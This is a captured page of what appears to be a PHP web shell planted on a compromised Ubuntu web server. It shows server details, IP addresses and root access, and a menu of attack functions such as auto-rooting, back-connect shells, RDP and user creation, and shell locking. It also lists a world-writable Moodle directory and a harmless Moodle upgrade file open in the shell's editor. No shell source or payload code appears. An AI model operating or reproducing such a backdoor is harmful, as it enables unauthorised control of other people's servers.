Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
question /
[ HOME SHELL ]
Name
Size
Permission
Action
behaviour
[ DIR ]
drwxrwxrwx
engine
[ DIR ]
drwxrwxrwx
format
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
type
[ DIR ]
drwxrwxrwx
addquestion.php
3.54
KB
-rwxrwxrwx
category.php
5.49
KB
-rwxrwxrwx
category_class.php
18.38
KB
-rwxrwxrwx
category_form.php
2.68
KB
-rwxrwxrwx
edit.php
1.95
KB
-rwxrwxrwx
editlib.php
67.55
KB
-rwxrwxrwx
export.php
3.18
KB
-rwxrwxrwx
export_form.php
3.41
KB
-rwxrwxrwx
flags.js
3.8
KB
-rwxrwxrwx
format.php
34.61
KB
-rwxrwxrwx
import.php
4.91
KB
-rwxrwxrwx
import_form.php
5.94
KB
-rwxrwxrwx
move_form.php
1.69
KB
-rwxrwxrwx
preview.js
1.61
KB
-rwxrwxrwx
preview.php
11.31
KB
-rwxrwxrwx
previewlib.php
13.47
KB
-rwxrwxrwx
qbank.js
6.49
KB
-rwxrwxrwx
qengine.js
6.73
KB
-rwxrwxrwx
question.php
13.29
KB
-rwxrwxrwx
renderer.php
1.56
KB
-rwxrwxrwx
toggleflag.php
1.55
KB
-rwxrwxrwx
upgrade.php
1.76
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upgrade.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file contains datbase upgrade code that is called from lib/db/upgrade.php, * and also check methods that can be used for pre-install checks via * admin/environment.php and lib/environmentlib.php. * * @package moodlecore * @subpackage questionbank * @copyright 2007 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * In Moodle, all random questions should have question.parent set to be the same * as question.id. One effect of MDL-5482 is that this will not be true for questions that * were backed up then restored. The probably does not cause many problems, except occasionally, * if the bogus question.parent happens to point to a multianswer question type, or when you * try to do a subsequent backup. Anyway, these question.parent values should be fixed, and * that is what this update does. */ function question_fix_random_question_parents() { global $CFG, $DB; $DB->execute("UPDATE {question} SET parent = id WHERE qtype = 'random' AND parent <> id"); return true; }
Close